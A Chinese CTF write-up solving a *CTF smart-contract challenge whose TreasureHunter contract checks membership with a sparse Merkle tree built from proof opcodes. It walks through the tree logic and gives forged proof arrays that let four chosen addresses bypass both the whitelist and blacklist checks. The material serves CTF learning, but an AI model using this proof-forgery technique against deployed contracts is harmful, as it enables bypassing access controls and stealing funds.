周末 *CTF 的一道智能合约题,合约还蛮长的
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324 |
pragma solidity >=0.8.0 <0.9.0;uint256 constant SMT_STACK_SIZE = 32;uint256 constant DEPTH = 160;library SMT { struct Leaf { address key; uint8 value; } enum Mode { BlackList, WhiteList } enum Method { Insert, Delete } function init() internal pure returns (bytes32) { return 0; } function calcLeaf(Leaf memory a) internal pure returns (bytes32) { if (a.value == 0) { return 0; } else { return keccak256(abi.encode(a.key, a.value)); } } function merge(bytes32 l, bytes32 r) internal pure returns (bytes32) { if (l == 0) { return r; } else if (r == 0) { return l; } else { return keccak256(abi.encode(l, r)); } } function verifyByMode( bytes32[] memory _proofs, address[] memory _targets, bytes32 _expectedRoot, Mode _mode ) internal pure returns (bool) { Leaf[] memory leaves = new Leaf[](_targets.length); for (uint256 i = 0; i < _targets.length; i++) { leaves[i] = Leaf({key: _targets[i], value: uint8(_mode)}); } return verify(_proofs, leaves, _expectedRoot); } function verify( bytes32[] memory _proofs, Leaf[] memory _leaves, bytes32 _expectedRoot ) internal pure returns (bool) { return (calcRoot(_proofs, _leaves, _expectedRoot) == _expectedRoot); } function updateSingleTarget( bytes32[] memory _proofs, address _target, bytes32 _prevRoot, Method _method ) internal pure returns (bytes32) { Leaf[] memory nextLeaves = new Leaf[](1); Leaf[] memory prevLeaves = new Leaf[](1); nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1}); prevLeaves[0] = Leaf({key: _target, value: uint8(_method)}); return update(_proofs, nextLeaves, prevLeaves, _prevRoot); } function unpdateTargets( bytes32[] memory _proofs, address[] memory _targets, bytes32 _prevRoot, Method _method ) internal pure returns (bytes32){ Leaf[] memory nextLeaves = new Leaf[](_targets.length); Leaf[] memory prevLeaves = new Leaf[](_targets.length); for(uint256 i = 0;i<_targets.length;i++){ nextLeaves[i] = Leaf({key: _targets[i], value: uint8(_method) ^ 1}); prevLeaves[i] = Leaf({key: _targets[i], value: uint8(_method)}); } return update(_proofs, nextLeaves, prevLeaves, _prevRoot); } function update( bytes32[] memory _proofs, Leaf[] memory _nextLeaves, Leaf[] memory _prevLeaves, bytes32 _prevRoot ) internal pure returns (bytes32) { require(verify(_proofs, _prevLeaves, _prevRoot), "update proof not valid"); return calcRoot(_proofs, _nextLeaves, _prevRoot); } function checkGroupSorted(Leaf[] memory _leaves) internal pure returns (bool) { require(_leaves.length >= 1); uint160 temp = 0; for (uint256 i = 0; i < _leaves.length; i++) { if (temp >= uint160(_leaves[i].key)) { return false; } temp = uint160(_leaves[i].key); } return true; } function getBit(uint160 key, uint256 height) internal pure returns (uint256) { require(height <= DEPTH); return (key >> height) & 1; } function parentPath(uint160 key, uint256 height) internal pure returns (uint160) { require(height <= DEPTH); return copyBit(key, height + 1); } function copyBit(uint160 key, uint256 height) internal pure returns (uint160) { require(height <= DEPTH); return ((key >> height) << height); } function calcRoot( bytes32[] memory _proofs, Leaf[] memory _leaves, bytes32 _root ) internal pure returns (bytes32) { require(checkGroupSorted(_leaves)); uint160[] memory stackKeys = new uint160[](SMT_STACK_SIZE); bytes32[] memory stackValues = new bytes32[](SMT_STACK_SIZE); uint256 proofIndex = 0; uint256 leaveIndex = 0; uint256 stackTop = 0; while (proofIndex < _proofs.length) { if (uint256(_proofs[proofIndex]) == 0x4c) { proofIndex++; require(stackTop < SMT_STACK_SIZE); require(leaveIndex < _leaves.length); stackKeys[stackTop] = uint160(_leaves[leaveIndex].key); stackValues[stackTop] = calcLeaf(_leaves[leaveIndex]); stackTop++; leaveIndex++; } else if (uint256(_proofs[proofIndex]) == 0x50) { proofIndex++; require(stackTop != 0); require(proofIndex + 2 <= _proofs.length); uint256 height = uint256(_proofs[proofIndex++]); bytes32 currentProof = _proofs[proofIndex++]; require(currentProof != _root); if (getBit(stackKeys[stackTop - 1], height) == 1) { stackValues[stackTop - 1] = merge(currentProof, stackValues[stackTop - 1]); } else { stackValues[stackTop - 1] = merge(stackValues[stackTop - 1], currentProof); } stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height); } else if (uint256(_proofs[proofIndex]) == 0x48) { proofIndex++; require(stackTop >= 2); require(proofIndex < _proofs.length); uint256 height = uint256(_proofs[proofIndex++]); uint256 aSet = getBit(stackKeys[stackTop - 2], height); uint256 bSet = getBit(stackKeys[stackTop - 1], height); stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height); stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height); require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet != bSet); if (aSet == 1) { stackValues[stackTop - 2] = merge( stackValues[stackTop - 1], stackValues[stackTop - 2] ); } else { stackValues[stackTop - 2] = merge( stackValues[stackTop - 2], stackValues[stackTop - 1] ); } stackTop -= 1; } else { revert(); } } require(leaveIndex == _leaves.length); require(stackTop == 1); return stackValues[0]; }}contract TreasureHunter { bytes32 public root; SMT.Mode public smtMode = SMT.Mode.WhiteList; bool public solved = false; address[] team; mapping(address => bool) public haveKey; mapping(address => bool) public haveTreasureChest; event FindKey(address indexed _from); event PickupTreasureChest(address indexed _from); event OpenTreasureChest(address indexed _from); constructor() public { root = SMT.init(); _init(); } function _init() internal { address[] memory hunters = new address[](8); hunters[0] = 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e; hunters[1] = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; hunters[2] = 0x6B175474E89094C44Da98b954EedeAC495271d0F; hunters[3] = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2; hunters[4] = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B; hunters[5] = 0xc00e94Cb662C3520282E6f5717214004A7f26888; hunters[6] = 0xD533a949740bb3306d119CC777fa900bA034cd52; hunters[7] = 0xdAC17F958D2ee523a2206206994597C13D831ec7; SMT.Leaf[] memory nextLeaves = new SMT.Leaf[](8); SMT.Leaf[] memory prevLeaves = new SMT.Leaf[](8); for (uint8 i = 0; i < hunters.length; i++) { nextLeaves[i] = SMT.Leaf({key: hunters[i], value: 1}); prevLeaves[i] = SMT.Leaf({key: hunters[i], value: 0}); } bytes32[] memory proof = new bytes32[](22); proof[0] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[1] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[2] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[3] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[4] = 0x0000000000000000000000000000000000000000000000000000000000000048; proof[5] = 0x0000000000000000000000000000000000000000000000000000000000000095; proof[6] = 0x0000000000000000000000000000000000000000000000000000000000000048; proof[7] = 0x0000000000000000000000000000000000000000000000000000000000000099; proof[8] = 0x0000000000000000000000000000000000000000000000000000000000000048; proof[9] = 0x000000000000000000000000000000000000000000000000000000000000009e; proof[10] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[11] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[12] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[13] = 0x000000000000000000000000000000000000000000000000000000000000004c; proof[14] = 0x0000000000000000000000000000000000000000000000000000000000000048; proof[15] = 0x000000000000000000000000000000000000000000000000000000000000009b; proof[16] = 0x0000000000000000000000000000000000000000000000000000000000000048; proof[17] = 0x000000000000000000000000000000000000000000000000000000000000009c; proof[18] = 0x0000000000000000000000000000000000000000000000000000000000000048; proof[19] = 0x000000000000000000000000000000000000000000000000000000000000009e; proof[20] = 0x0000000000000000000000000000000000000000000000000000000000000048; proof[21] = 0x000000000000000000000000000000000000000000000000000000000000009f; root = SMT.update(proof, nextLeaves, prevLeaves, root); } function checkteam() public returns (bool){ for(uint i = 0;i<team.length;i++){ if(team[i] == msg.sender){ return false; } } return true; } function removeIndex(uint index) internal returns (address[] memory){ require(index < team.length); for(uint i = index;i<team.length-1;i++){ team[i] = team[i+1]; } team.pop(); return team; } function enter(bytes32[] memory _proofs) public { require(haveKey[msg.sender] == false); require(checkteam()); team.push(msg.sender); root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Insert); } function leave(bytes32[] memory _proofs) public { require(haveTreasureChest[msg.sender] == false); for(uint i = 0;i<team.length;i++){ if(team[i] == msg.sender){ team = removeIndex(i); } } root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Delete); } function findKey(bytes32[] memory _proofs) public { require(smtMode == SMT.Mode.BlackList, "not blacklist mode"); require(team.length >= 4); require(SMT.verifyByMode(_proofs, team, root, smtMode), "hunter has fallen into a trap"); haveKey[msg.sender] = true; smtMode = SMT.Mode.WhiteList; emit FindKey(msg.sender); } function pickupTreasureChest(bytes32[] memory _proofs) public { require(smtMode == SMT.Mode.WhiteList, "not whitelist mode"); require(team.length >= 4); require( SMT.verifyByMode(_proofs, team, root, smtMode), "hunter hasn't found the treasure chest" ); haveTreasureChest[msg.sender] = true; smtMode = SMT.Mode.BlackList; emit PickupTreasureChest(msg.sender); } function openTreasureChest() public { require(haveKey[msg.sender] && haveTreasureChest[msg.sender]); solved = true; emit OpenTreasureChest(msg.sender); } function isSolved() public view returns (bool) { return solved; }} |
不过和2022realword的那道题并没有差的很多,不过由于还没有复现过,所以在比赛的时候也是从零开始,不过还是站在巨人的肩膀上啦,首先根据https://r3kapig.com/writeup/20220125-rwctf4/
Merkle Tree
题目构建了这样一个Merkle Tree,首先每一片叶子上面的数据结构是 [address,value],
1234 |
struct Leaf { address key; uint8 value;} |
然后每一片叶子的哈希计算规则为:如果value为0,哈希则为0,如果value不为0,则将address和value进行拼接后进行哈希
1234567 |
function calcLeaf(Leaf memory a) internal pure returns (bytes32) { if (a.value == 0) { return 0; } else { return keccak256(abi.encode(a.key, a.value)); }} |
两片叶子merge的方法:如果有一片叶子是0,则直接返回另一片叶子的哈希,否则将左叶子的哈希和右叶子的哈希拼接再哈希
123456789 |
function merge(bytes32 l, bytes32 r) internal pure returns (bytes32) { if (l == 0) { return r; } else if (r == 0) { return l; } else { return keccak256(abi.encode(l, r)); }} |
根哈希的生成方式【重点】
计算根哈希的时候需要传入一个类似于opcode的 _proofs,然后计算所需的叶子节点 _leaves,以及根节点 _root
12345 |
function calcRoot( bytes32[] memory _proofs, Leaf[] memory _leaves, bytes32 _root) |
首先会检查,传入的叶子节点中的地址必须是从小到大的。
12345678910111213 |
require(checkGroupSorted(_leaves));function checkGroupSorted(Leaf[] memory _leaves) internal pure returns (bool) { require(_leaves.length >= 1); uint160 temp = 0; for (uint256 i = 0; i < _leaves.length; i++) { if (temp >= uint160(_leaves[i].key)) { return false; } temp = uint160(_leaves[i].key); } return true; } |
然后初始化两个数组模拟栈,用于存放叶子的 Keys 和 Values
12345 |
uint160[] memory stackKeys = new uint160[](SMT_STACK_SIZE);bytes32[] memory stackValues = new bytes32[](SMT_STACK_SIZE);uint256 proofIndex = 0;uint256 leaveIndex = 0;uint256 stackTop = 0; |
然后开始根据opcode: _proofs 对数据进行处理。
三个分支,
如果opcode是 0x4c,就类似于将一个叶子节点压栈:opcode下标加一(是一个单“slot”指令),先检查会不会溢出,然后往stackKeys存入叶子的key,往stackValues存入叶子的哈希,stackTop(栈顶)加一,leaveIndex (当前叶子下标)加一
123456789 |
if (uint256(_proofs[proofIndex]) == 0x4c) {proofIndex++;require(stackTop < SMT_STACK_SIZE);require(leaveIndex < _leaves.length);stackKeys[stackTop] = uint160(_leaves[leaveIndex].key);stackValues[stackTop] = calcLeaf(_leaves[leaveIndex]);stackTop++;leaveIndex++;} |
如果opcode是 0x50,是将叶子节点和opcode传入的哈希进行一个merge操作:首先proofIndex++,然后检查栈是非空的(因为要取值),然后检查proofIndex + 2 <= _proofs.length,因为这里是一个三“slot”指令,接着从指令的第二个slot获取height,从指令的第三个slot获取用于merge的哈希 currentProof,并且这个currentProof不能够等于根哈希。然后获取用于merge的叶子节点的key的在height处的比特,如果是1,那么叶子节点作为右叶子进行merge,如果是0,那么叶子节点作为左叶子进行merge。最后在stackKeys中会将该叶子节点原本的key值height处及其低位都清零,只留下高位,也就是前缀。
1234567891011121314151617 |
// 获取特定位置的bit function getBit(uint160 key, uint256 height) internal pure returns (uint256) { require(height <= DEPTH); return (key >> height) & 1; }// 低位清零 function parentPath(uint160 key, uint256 height) internal pure returns (uint160) { require(height <= DEPTH); return copyBit(key, height + 1); } function copyBit(uint160 key, uint256 height) internal pure returns (uint160) { require(height <= DEPTH); return ((key >> height) << height); } |
1234567891011121314 |
else if (uint256(_proofs[proofIndex]) == 0x50) {proofIndex++;require(stackTop != 0);require(proofIndex + 2 <= _proofs.length);uint256 height = uint256(_proofs[proofIndex++]);bytes32 currentProof = _proofs[proofIndex++];require(currentProof != _root);if (getBit(stackKeys[stackTop - 1], height) == 1) {stackValues[stackTop - 1] = merge(currentProof, stackValues[stackTop - 1]);} else {stackValues[stackTop - 1] = merge(stackValues[stackTop - 1], currentProof);}stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height); |
如果opcode是0x48,会将栈里的两个叶子节点进行merge,是一个双“slot”指令,指令的第二个slot同样是 height。首先分别获取两个叶子节点key值height处的bit(设靠近栈顶的为a,靠近栈底的为b),然后更新,仅留下前缀。接着一个判断,要求前缀相同,height处的比特不同。然后获取两个叶子节点的哈希,如果a的height处的bit是1,那么a作为左叶子,否则b作为左叶子,最后merge,原本两个叶子出栈,新的叶子入栈(key是前缀,value是merge后的哈希),所以栈顶减一。
1234567891011121314151617181920212223 |
else if (uint256(_proofs[proofIndex]) == 0x48) { proofIndex++; require(stackTop >= 2); require(proofIndex < _proofs.length); uint256 height = uint256(_proofs[proofIndex++]); uint256 aSet = getBit(stackKeys[stackTop - 2], height); uint256 bSet = getBit(stackKeys[stackTop - 1], height); stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height); stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height); require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet != bSet); if (aSet == 1) { stackValues[stackTop - 2] = merge( stackValues[stackTop - 1], stackValues[stackTop - 2] ); } else { stackValues[stackTop - 2] = merge( stackValues[stackTop - 2], stackValues[stackTop - 1] ); } stackTop -= 1; |
最后要求,opcode走完后,每一个传入的叶子节点都用于根哈希的计算,栈里只剩下一个叶子,也就是根,然后返回value,也就是根哈希
123 |
require(leaveIndex == _leaves.length);require(stackTop == 1);return stackValues[0]; |
另外还有插入和删除函数,合并在了update里,
首先会验证插入前这棵树是不是合法的,然后进行更新,并计算相应的根节点,具体更新规则则依据传入的opcode:_proofs
123456789 |
function update( bytes32[] memory _proofs, Leaf[] memory _nextLeaves, Leaf[] memory _prevLeaves, bytes32 _prevRoot) internal pure returns (bytes32) { require(verify(_proofs, _prevLeaves, _prevRoot), "update proof not valid"); return calcRoot(_proofs, _nextLeaves, _prevRoot);} |
如果要更新单个叶子的状态,两种,插入和删除,如果是删除,就将value=0,这样进行根哈希计算的时候它就不会被引入。如果插入,则value=1,
123456789101112 |
function updateSingleTarget( bytes32[] memory _proofs, address _target, bytes32 _prevRoot, Method _method) internal pure returns (bytes32) { Leaf[] memory nextLeaves = new Leaf[](1); Leaf[] memory prevLeaves = new Leaf[](1); nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1}); prevLeaves[0] = Leaf({key: _target, value: uint8(_method)}); return update(_proofs, nextLeaves, prevLeaves, _prevRoot);} |
TreasureHunter
接下来我们看到这道题,获取flag的方式需要打开宝箱
12345 |
function openTreasureChest() public { require(haveKey[msg.sender] && haveTreasureChest[msg.sender]); solved = true; emit OpenTreasureChest(msg.sender);} |
打开宝箱就需要找到宝箱和找到钥匙
找到宝箱则需要smtMode == SMT.Mode.WhiteList,这是刚开始是满足的,然后要求team的长度大于4,并通过验证SMT.verifyByMode(_proofs, team, root, smtMode) ,这个验证就是team里的叶子节点都在这颗树上。满足要求的话就会 smtMode = SMT.Mode.BlackList;
1234567891011 |
function pickupTreasureChest(bytes32[] memory _proofs) public { require(smtMode == SMT.Mode.WhiteList, "not whitelist mode"); require(team.length >= 4); require( SMT.verifyByMode(_proofs, team, root, smtMode), "hunter hasn't found the treasure chest" ); haveTreasureChest[msg.sender] = true; smtMode = SMT.Mode.BlackList; emit PickupTreasureChest(msg.sender);} |
然后是找到钥匙,需要满足 smtMode == SMT.Mode.BlackList,所以需要先找到宝箱再找到钥匙,同样要求team长度大于4,这次呀通过的验证SMT.verifyByMode(_proofs, team, root, smtMode),也还是这个,但是smtMode变了。所以这次的要求是team里的四片叶子都不在这颗树上。
12345678 |
function findKey(bytes32[] memory _proofs) public { require(smtMode == SMT.Mode.BlackList, "not blacklist mode"); require(team.length >= 4); require(SMT.verifyByMode(_proofs, team, root, smtMode), "hunter has fallen into a trap"); haveKey[msg.sender] = true; smtMode = SMT.Mode.WhiteList; emit FindKey(msg.sender);} |
那么如何增加team的成员呢,有一个enter方法可以往里面加新成员,就是合约的调用者,
123456 |
function enter(bytes32[] memory _proofs) public { require(haveKey[msg.sender] == false); require(checkteam()); team.push(msg.sender); root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Insert);} |
不过在加新成员的时候,他会检查之前的树是否合法,然后才会将你加入,而怎么检查呢?整个合约完全没有存储原来的结构,仅仅保存了一个根节点,所以全部依赖_proofs,也就是opcode了。
解题思路
所以我们整个解题步骤就是构造opcode,往原来的树上插入四个账户,因为插入的四个账户,根节点的计算肯定是跟他们有关的,所以应该可以直接找到宝箱。然后我们再去findkey,这个时候四个账户的哈希都不起作用了,所以我们还需要构造opcode,去绕过findkey这边的验证。
enter
首先我们看看如何调用enter向team添加用户,在这之前,首先题目通过init是创建好了一颗merkle True的,
根据init中的opcode画出来大概是这样子的(上面wp链接中的),运行后我们得到root为0xe2e8ebf79be9c50374592f83db1c4c82e4d97b4dae6dc26332d259289467ff8e
如果我们想调用enter,则会调用 SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Delete);
123456789101112 |
function updateSingleTarget( bytes32[] memory _proofs, address _target, bytes32 _prevRoot, Method _method) internal pure returns (bytes32) { Leaf[] memory nextLeaves = new Leaf[](1); Leaf[] memory prevLeaves = new Leaf[](1); nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1}); prevLeaves[0] = Leaf({key: _target, value: uint8(_method)}); return update(_proofs, nextLeaves, prevLeaves, _prevRoot);} |
其中,_proofs 就是opcode了,可控;然后msg.sender就是调用合约的用户,可控;root是当前根哈希,不可控;SMT.Method.Delete是当前状态,此处为delete,因为此时msg.sender还不在树上。在updateSingleTarget的时候,首先会以msg.sender为delete的状态(这样就不会影响到原来的树了)检查原来的树,然后就会对树进行更新,而msg.sender具体插入的位置则由opcode决定。
那么我们核心的任务就是先过update里的验证先。
这里,根据先前的wp,我们拿到了生成root哈希的两个哈希,分别是0xe9f810898db8dc62342eaa122fd26525362f2b70bd462edef6e4e34093d66c17和0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2
然后由于msg.sender在验证的时候是不参与计算的,所以其实我们直接传入这两个哈希,然后分别调用两次0x50就好了。opcode为
1234567 |
["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009c", "0xe9f810898db8dc62342eaa122fd26525362f2b70bd462edef6e4e34093d66c17","0x0000000000000000000000000000000000000000000000000000000000000050","0x000000000000000000000000000000000000000000000000000000000000009f","0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] |
我们首先将msg.sender这个叶子压栈,然后调用0x50,根据opcode,首先会取msg.sender 在0x9c处的比特,然后决定是msg.sender的值是作为左叶子还是右叶子,不过此时是无所谓的,因为msg.sender的value是0,并不会影响merge后的哈希。然后再进行一个0x50,高度取的是msg.sender在0x9f处(也就是最高处)的比特,这里我们有进行构造,我们的msg.sender最高比特都是0,所以此时我们的0xe9f810….是作为左叶子,0xba13a…..作为右叶子,然后merge,得到我们的root,从而通过验证。
注:关于第一个高度的选取,这里我们需要使得插入的msg.sender是左叶子,我们后续会说明;第二个高度不一定非要是0x9f,只要该处比特是0,保证merge的顺序就好了。
通过验证后会更新树,得到新的hash,这里我们用的账户地址是0x0051359C4A49AE35034c693Bb423343874964bD9,所以计算出来的叶子哈希为0x9b1d5789a62aaf2914f81251c7fe468b731d0d69587149c02fa455d2f607d540,merge后得到0x423b9e9e1b3a1cfbd4c7d075391785c44def9c2884281cc63e0a78fcc3bb7f66,再次merge后得到新的根哈希0xf712cc750b9acd5fc76c58b7302bef35c4890937e08702f0d8202f289c8ae8c3
验证正确。
于是我们有新的merkle Tree
于是我们故技重施,利用0x423b9e9e1b3 和 0xba13a52ab7 ,再次插入一个用户
opcode
1234567 |
["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009a", "0x423b9e9e1b3a1cfbd4c7d075391785c44def9c2884281cc63e0a78fcc3bb7f66", "0x0000000000000000000000000000000000000000000000000000000000000050","0x000000000000000000000000000000000000000000000000000000000000009f","0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] |
这一次我们用的地址是0x06F07E646D6724874e72FCE7f3AC534cfbEC754a,9a处的比特为1,叶子哈希为0xdea1d3dc0931a8116ca4692f0a3d6387eebbd4ba4e95d671b154412eade4d22c,merge后哈希为0x4e951b5440112027d135d0f1dc97bff8127bec7439f8a54ff6a6b6a164764c64,新的根哈希为0xb8bb540e2e9243c6d081375dfb652f6a87fcfb246c0a461b315e3e530bbbf0f8
验证一下
所以新的树是这个样子
继续第三个,
1234567 |
["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009e", "0x4e951b5440112027d135d0f1dc97bff8127bec7439f8a54ff6a6b6a164764c64","0x0000000000000000000000000000000000000000000000000000000000000050","0x000000000000000000000000000000000000000000000000000000000000009f","0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] |
地址用的是0x49Bb1e658D6EE866215D11037A6De1712Ed81B83,0x9e处还是1,叶子哈希为0x111b8a732fb70d95860bf6aa916f2973cf45ab797aac6af673dd0cf1f9918c71,merge后是0x4b3f7ee71efd14747b6620f1919bcdc78724d8a862e987596a1179a6b460be05,根哈希为0xd7266ab3d5607bd49580f90162ff62ce4ac844488a07d38926c0511b687dd6e9
最后一个
1234567 |
["0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000050","0x000000000000000000000000000000000000000000000000000000000000009e","0x4b3f7ee71efd14747b6620f1919bcdc78724d8a862e987596a1179a6b460be05","0x0000000000000000000000000000000000000000000000000000000000000050","0x000000000000000000000000000000000000000000000000000000000000009f","0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] |
地址为0x6a95Ad9945396aF307B6d0D99F5382F8C781B4f4,0x9c处为1,叶子哈希为0x34de1d313ec0366dafd9277ff42bea64676a6b426da826971d07d836ca7cf583,merge后为0x03f38c848024ba3006373acb4175da682ce9d4e1ade10e0472919f30f664b1e4,根哈希为0x1b70984cd043483aee663bdaa93a102faaadf0d7b5c429830cf3b5cc14d41429
至于为什么要弄成这样单边的,加下来找宝箱就知道了
pickupTreasureChest
现在我们已经把四个用户加入进去了,于是调用pickupTreasureChest,他会调用SMT.verifyByMode(_proofs, team, root, smtMode),我们需要构造一下opcode使得计算出来的根哈希等于0x1b70984cd043483ae
注意到calcroot的第一步就是检查叶子key的大小关系,所以我们之前是从小到大依次使用地址的,就是为了过这个检查
1234 |
0x0051359C4A49AE35034c693Bb423343874964bD90x06F07E646D6724874e72FCE7f3AC534cfbEC754a0x49Bb1e658D6EE866215D11037A6De1712Ed81B830x6a95Ad9945396aF307B6d0D99F5382F8C781B4f4 |
然后这里我们第一个就是要将team1压栈,然后是调用0x50,往opcode里塞一个0xe9f810898,这样能merge出0x423b9e9e1,接着将team2压栈,再调用0x48,将栈里的叶子和team2进行merge,注意到,先前提到,在0x48中对高度的取值比较严格,
12345678910111213141516171819202122 |
if (uint256(_proofs[proofIndex]) == 0x48) { proofIndex++; require(stackTop >= 2); require(proofIndex < _proofs.length); uint256 height = uint256(_proofs[proofIndex++]); uint256 aSet = getBit(stackKeys[stackTop - 2], height); uint256 bSet = getBit(stackKeys[stackTop - 1], height); stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height); stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height); require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet != bSet); if (aSet == 1) { stackValues[stackTop - 2] = merge( stackValues[stackTop - 1], stackValues[stackTop - 2] ); } else { stackValues[stackTop - 2] = merge( stackValues[stackTop - 2], stackValues[stackTop - 1] ); } |
height处两个地址的比特必须是不一样的,并且比hight高的比特位必须是一样的,所以我们检查一下地址0x0051359C4A49AE35034c693Bb423343874964bD9和0x06F07E646D6724874e72FCE7f3AC534cfbEC754a
可以看到,在0x9a处两个地址开始不一样,所以0x48的时候,高度要填0x9a,然后,显然,由于前面要求的地址必须从小到大,aset肯定是0,也就是意味着,先入栈的叶子必然是左叶子,这就是为什么我们之前把树往左边构造
以此类推,高度分别需要填0x9a,0x9e,0x9e,最后我们在进行一次0x50,和0xba13a52ab72 merge一下,最终opcode
12345678910111213141516 |
["0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009c","0xe9f810898db8dc62342eaa122fd26525362f2b70bd462edef6e4e34093d66c17", "0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009a", "0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009e","0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009e","0x0000000000000000000000000000000000000000000000000000000000000050","0x000000000000000000000000000000000000000000000000000000000000009f","0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] |
成功
findkey
在findkey中,四片叶子都不参与计算,所以我们显然要构造opcode,然后利用0x50,将用于生成root的 0x03f38c848024 和 0xba13a52ab 塞进去就好了。
所以我们先把叶子压进去,与先前一样利用0x48把他们都merge了,此时stackValue里的值都还是0,然后我们调用两次0x50将 0x03f38c848024 和 0xba13a52ab 分别放入,最后就能计算出我们的目标root了。最终opcode
12345678910111213141516 |
["0x000000000000000000000000000000000000000000000000000000000000004c","0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048", "0x000000000000000000000000000000000000000000000000000000000000009a", "0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009e","0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009e","0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009c","0x03f38c848024ba3006373acb4175da682ce9d4e1ade10e0472919f30f664b1e4","0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009f", "0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] |
成功。
随后调用一下OpenTreasureChest即可
完整exp
来自天璇merak-zbr
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308 |
